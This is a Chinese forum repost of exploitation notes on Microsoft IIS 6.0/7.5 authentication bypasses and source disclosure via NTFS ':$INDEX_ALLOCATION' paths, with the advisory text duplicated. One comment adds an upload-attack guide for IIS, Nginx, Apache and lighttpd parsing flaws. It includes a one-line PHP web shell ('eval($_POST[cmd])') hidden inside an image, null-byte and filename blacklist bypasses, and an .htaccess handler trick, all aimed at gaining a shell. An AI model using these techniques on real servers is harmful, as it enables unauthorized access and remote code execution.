微软IIS 6.0和7.5的多个漏洞及利用方法【转】
微软的IIS 6.0安装PHP绕过认证漏洞
微软IIS与PHP 6.0(这是对PHP5中的Windows Server 2003 SP1的测试)
详细说明:
攻击者可以发送一个特殊的请求发送到IIS 6.0服务,成功绕过访问限制
攻击者可以访问有密码保护的文件
例:–>
Example request (path to the file): /admin::$INDEX_ALLOCATION/index.php
(暂时没有翻译,怕影响精确度)
if the:$INDEX_ALLOCATION postfix is appended to directory name.
This can result in accessing administrative files and under special circumstances execute arbirary code remotely
微软IIS 7.5经典的ASP验证绕过
受影响的软件:.NET Framework 4.0(.NET框架2.0是不受影响,其他.NET框架尚未进行测试)(在Windows 7测试)
详细说明:
通过添加 [ ":$i30:$INDEX_ALLOCATION" ] to the directory serving (便可成功绕过)
例:
There is a password protected directory configured that has administrative asp scripts inside An attacker requests the directory with :$i30:$INDEX_ALLOCATION appended to the directory name IIS/7.5 gracefully executes the ASP script without asking for proper credentials
IIS 7.5 NET源代码泄露和身份验证漏洞
(.NET 2.0和.NET 4.0中测试)
例:–>
http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php
will run the PHP script without asking for proper credentials.(暂时没有翻译)
By appending /.php to an ASPX file (or any other file using the .NET framework that is not blocked through the request filtering rules,like misconfigured: .CS,.VB files) IIS/7.5 responds with the full source code of the file and executes it as PHP code. This means that by using an upload feature it might be possible (under special circumstances) to execute arbitrary PHP code.
Example: Default.aspx/.php
微软IIS与PHP 6.0(这是对PHP5中的Windows Server 2003 SP1的测试)
详细说明:
攻击者可以发送一个特殊的请求发送到IIS 6.0服务,成功绕过访问限制
攻击者可以访问有密码保护的文件
例:–>
Example request (path to the file): /admin::$INDEX_ALLOCATION/index.php
(暂时没有翻译,怕影响精确度)
if the:$INDEX_ALLOCATION postfix is appended to directory name.
This can result in accessing administrative files and under special circumstances execute arbirary code remotely
微软IIS 7.5经典的ASP验证绕过
受影响的软件:.NET Framework 4.0(.NET框架2.0是不受影响,其他.NET框架尚未进行测试)(在Windows 7测试)
详细说明:
通过添加 [ ":$i30:$INDEX_ALLOCATION" ] to the directory serving (便可成功绕过)
例:
There is a password protected directory configured that has administrative asp scripts inside An attacker requests the directory with :$i30:$INDEX_ALLOCATION appended to the directory name IIS/7.5 gracefully executes the ASP script without asking for proper credentials
IIS 7.5 NET源代码泄露和身份验证漏洞
(.NET 2.0和.NET 4.0中测试)
例:–>
http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php
will run the PHP script without asking for proper credentials.(暂时没有翻译)
By appending /.php to an ASPX file (or any other file using the .NET framework that is not blocked through the request filtering rules,like misconfigured: .CS,.VB files) IIS/7.5 responds with the full source code of the file and executes it as PHP code. This means that by using an upload feature it might be possible (under special circumstances) to execute arbitrary PHP code.
Example: Default.aspx/.php
评论7次
都是翻译的吧,不错不错
看过了 不错~~ 有木有7.5的~~
[+]IIS 6.0 目录解析:/xx.asp/xx.jpg xx.jpg可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码 IIS6.0 会将 xx.jpg 解析为 asp 文件。 后缀解析:/xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名) IIS6.0 都会把此类后缀文件成功解析为 asp 文件。 (站长评论:IIS6.0解析漏洞的成因,可以查阅罗哥写的一篇短文:IIS文件名解析漏洞扼要分析) {/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去,剩下/xx.asp} (站长评论:发现错误,并不是不允许存在,这种路径叫做“NTFS数据流”,具体见:IIS6使用冒号上传漏洞,发现IIS6漏洞(上传利用) 底下的评论) 默认解析:/xx.asa /xx.cer /xx.cdx IIS6.0 默认的可执行文件除了 asp 还包含这三种 (站长评论:这种主要是由于在 IIS 默认配置中,这几个后缀默认由 asp.dll 来解析,所以执行权限和 .asp 一摸一样,你可在配置中自行删除该后缀,以防止安全隐患) 此处可联xi利用目录解析漏洞 /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg [+]IIS 7.0/IIS 7.5/Nginx <=0.8.37 IIS 7.0/IIS 7.5/Nginx <=0.8.37 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.php会将 /xx.jpg/xx.php 解析为 php 文件。 常用利用方法: 将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾 e.g. copy xx.jpg/b + yy.txt/a xy.jpg ###################################### /b 即二进制[binary]模式 /a 即ascii模式 xx.jpg正常图片文件 yy.txt 内容 <?PHP fputs(fopen(‘shell.php’,'w’),’<?php eval($_POST[cmd])?>’);?> 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称为shell.php的文件 ###################################### 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可执行恶意文本。 然后就在图片目录下生成一句话木马 shell.php 密码 cmd [+]Nginx <=0.8.37 在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞 在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。 (站长评论:从 /test.jpg/x.php 演变过来的,具体可以参考:Ngnix 空字节可远程执行代码漏洞) [+]Apache 后缀解析:test.php.x1.x2.x3 Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析 test.php.x1.x2.x3 则会被解析为php 经验之谈:php|php3|phtml 多可被Apache解析 (站长评论:关于 apache 解析漏洞可以查阅“Apache 漏洞之后缀名解析漏洞”) [+]其他一些可利用的 在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,这也是可以被利用的! 在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可得到shell。 我记得Fck Php 2.6就存在加空格绕过的漏洞。{Linux主机中不行,Linux允许这类文件存在} 如果在Apache中.htaccess可被应用(Apache的配置文件httpd.conf中对目录的AllowOverride设置为All时,apache会应用目录下.htaccess中的配置 By sfasfas), 且可以被上传,那可以尝试在.htaccess中写入: <FilesMatch “shell.jpg”> SetHandler application/x-httpd-php </FilesMatch> shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件 [+]lighttpd xx.jpg/xx.php [Add by El4pse] PS:转载自Seay网络安全博客
核大叔那里翻译的更详细。
有密码保护的文件是哪些文件?7.5的那个好像之前就有出来了?
传说中的2楼都是真相帝
译文:http://hi.baidu.com/xpy_home/item/2d48df17d4147bc138cb3064